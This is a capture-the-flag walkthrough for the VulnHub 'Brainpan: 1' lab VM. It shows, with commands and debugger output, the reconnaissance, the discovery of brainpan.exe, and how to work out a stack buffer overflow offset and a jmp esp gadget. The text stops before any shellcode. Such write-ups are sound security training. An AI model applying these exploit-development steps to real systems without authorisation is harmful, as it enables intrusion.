Last updated on 2019-12-23
Contents
Download
Brainpan: 1, by superkojiman, can be found at https://www.vulnhub.com/entry/brainpan-1,51/.
Reconnaissance
These two ports were really the only useful information nmap
found:
Num/Type | Name | Product | Version |
---|---|---|---|
9999/tcp | abyss | ||
10000/tcp | http | SimpleHTTPServer | 0.6 |
nmap
, or curious about how I use it with my own scripts, see:
Some research on abyss
running on port 9999 reveals it’s a web server. Let’s see what’s in there.
vagrant@attack-vm:~$ curl -s http://$ip:9999 --output ./abyss.txt
vagrant@attack-vm:~$ cat abyss.txt
_| _|
_|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_|
_| _| _|_| _| _| _| _| _| _| _| _| _| _| _|
_| _| _| _| _| _| _| _| _| _| _| _| _| _|
_|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _|
_|
_|
[________________________ WELCOME TO BRAINPAN _________________________]
ENTER THE PASSWORD
>> ACCESS DENIED
A little weird, for a web server. Looks like it allows for a prompt, which we can confirm by using ncat
.
vagrant@attack-vm:~$ ncat $ip 9999
_| _|
_|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_|
_| _| _|_| _| _| _| _| _| _| _| _| _| _| _|
_| _| _| _| _| _| _| _| _| _| _| _| _| _|
_|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _|
_|
_|
[________________________ WELCOME TO BRAINPAN _________________________]
ENTER THE PASSWORD
>> testing123
ACCESS DENIED
Before guessing passwords, let’s have a look at the SimpleHTTPServer
running on 10000.
vagrant@attack-vm:~$ curl -s http://$ip:10000 --output ./httpd.txt
vagrant@attack-vm:~$ cat ./httpd.txt
<html>
<body bgcolor="ffffff">
<center>
<!-- infographic from http://www.veracode.com/blog/2012/03/safe-coding-and-software-security-infographic/ -->
<img src="soss-infographic-final.png">
</center>
</body>
</html>
I had been expecting a list of files here, since SimpleHTTPServer
does exactly that:
The
SimpleHTTPServer
module can be used […] to set up a very basic web server serving files relative to the current directory.
Source: https://docs.python.org/2/library/simplehttpserver.html
To find out whether additional files or directories exist, let’s use gobuster
with a short list.
vagrant@attack-vm:~$ wget -q https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/raft-small-directories.txt
vagrant@attack-vm:~$ gobuster -u http://$ip:10000 -w ./raft-small-directories.txt
...
/bin (Status: 301)
Bingo! ;D
vagrant@attack-vm:~$ curl -s http://$ip:10000/bin/ --output ./bin.txt
vagrant@attack-vm:~$ cat bin.txt
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 3.2 Final//EN"><html>
<title>Directory listing for /bin/</title>
<body>
<h2>Directory listing for /bin/</h2>
<hr>
<ul>
<li><a href="brainpan.exe">brainpan.exe</a>
</ul>
<hr>
</body>
</html>
Vulnerability assessment
At this point, we can make a couple educated guesses:
brainpan.exe
is what’s running on port 9999- This is a buffer overflow challenge
To confirm these guesses, let’s download that copy of brainpan.exe
and use Wine to figure this out.
vagrant@attack-vm:~$ wget -q http://$ip:10000/bin/brainpan.exe
vagrant@attack-vm:~$ winedbg brainpan.exe
WineDbg starting on pid 0035
0036:err:console:AllocConsole Can't allocate console
0x000000007b465fc1: movl 0xffffff24(%ebp),%esi
Wine-dbg>c
Note that winedbg
pauses the executable at the beginning, so you’ll need to hit c
and Enter
for winedbg
to continue execution.
In another terminal, let’s send a large amount of data to our local instance of brainpan.exe
.
vagrant@attack-vm:~$ python3 -c "print('1'*9999)" | ncat 127.0.0.1 9999
In the first terminal, where winedbg
was running, you’ll not only see that brainpan.exe
crashed, but we also overwrote the stack and a couple of registers with our payload of 9999 1s (the hexadecimal representation of the number 1 is 31
).
Unhandled exception: page fault on read access to 0x31313131 in 32-bit code (0x0000000031313131).
Register dump:
CS:0023 SS:002b DS:002b ES:002b FS:006b GS:0063
EIP:31313131 ESP:0043f860 EBP:31313131 EFLAGS:00010202( R- -- I - - - )
EAX:ffffffff EBX:7b63ee08 ECX:0043f640 EDX:0043f650
ESI:7b63ee08 EDI:00000000
Stack dump:
0x000000000043f860: 3131313131313131 3131313131313131
...
After that, hit q
and Enter
to exit winedbg
.
Vulnerability confirmed!
Exploitation
I’m partial to Radare, a reverse engineering framework which comes with a few utilities that’ll make short work of brainpan.exe
.
I found the following blog post particularly helpful when learning about Radare:
https://www.megabeets.net/a-journey-into-radare-2-part-1/
To learn more about buffer overflows, I recommend watching LiveOverflow’s binary hacking series and playing with the VMs provided at https://exploit.education/.
For starters, let’s see what happens when we crash the executable using a De Bruijn sequence crafted by ragg2
, which is one of the utilities bundled with Radare.
In a new terminal (because the first one is running winedbg
):
vagrant@attack-vm:~$ ragg2 -P 9999 -r | ncat 127.0.0.1 9999
Back in the first terminal, you’ll see:
Unhandled exception: page fault on read access to 0x43413243 in 32-bit code (0x0000000043413243).
Register dump:
CS:0023 SS:002b DS:002b ES:002b FS:006b GS:0063
EIP:43413243 ESP:0043f860 EBP:41314341 EFLAGS:00010202( R- -- I - - - )
EAX:ffffffff EBX:7b63ee08 ECX:0043f640 EDX:0043f650
ESI:7b63ee08 EDI:00000000
Stack dump:
0x000000000043f860: 4135434134434133 3843413743413643
...
The sequence 43413243
tells us that a specific section within our 9999 characters has made its way into EIP, the extended instruction pointer, which is the first mechanism we can use to modify the execution flow of brainpan.exe
.
The second mechanism may be ESP, the extended stack pointer, which in this case points to 0043f860
. Looking at the stack dump, it appears we also control the contents of that address.
vagrant@attack-vm:~$ ragg2 -q 0x43413243
Little endian: 524
Big endian: -1
In one terminal, first re-run winedbg brainpan.exe
, hit c
and Enter
. In another terminal, let’s craft and deploy a new payload of size 524 with a few added characters.
vagrant@attack-vm:~$ printf "111122223333" > payload-suffix.txt
vagrant@attack-vm:~$ ragg2 -P 524 -r -C payload-suffix.txt | ncat 127.0.0.1 9999
Now have a look at the new output from winedbg
:
Unhandled exception: page fault on read access to 0x31313131 in 32-bit code (0x0000000031313131).
Register dump:
CS:0023 SS:002b DS:002b ES:002b FS:006b GS:0063
EIP:31313131 ESP:0043f860 EBP:41314341 EFLAGS:00010202( R- -- I - - - )
EAX:ffffffff EBX:7b63ee08 ECX:0043f640 EDX:0043f650
ESI:7b63ee08 EDI:00000000
Stack dump:
0x000000000043f860: 3333333332323232 0000000000000300
...
Our 1111
made it to EIP while 22223333
made it to the location referenced by ESP.
Since we control EIP as well as the contents of ESP, we can use the simple ROP gadget jmp esp
to take control of this executable.
Why jmp esp
instead of a direct address on the stack? In short, sometimes the ESP address won’t be predictable, or will contain bytes that would break the payload.
Of course, this will only be possible if brainpan.exe
contains a jmp esp
instruction anywhere in its bits that will always be assigned to the same memory address at runtime.
/c
command, used to search for specific instructions; in this case, /c jmp esp
. Note that the Radare executable is r2
.
vagrant@attack-vm:~$ r2 brainpan.exe
[0x31171280]> /c jmp esp
0x311712f3 # 2: jmp esp
(once again, q
and Enter
to quit r2
)
Having found 0x311712f3
as an address containing jmp esp
when brainpain.exe
is running, we now have all the necessary pieces to exploit the executable.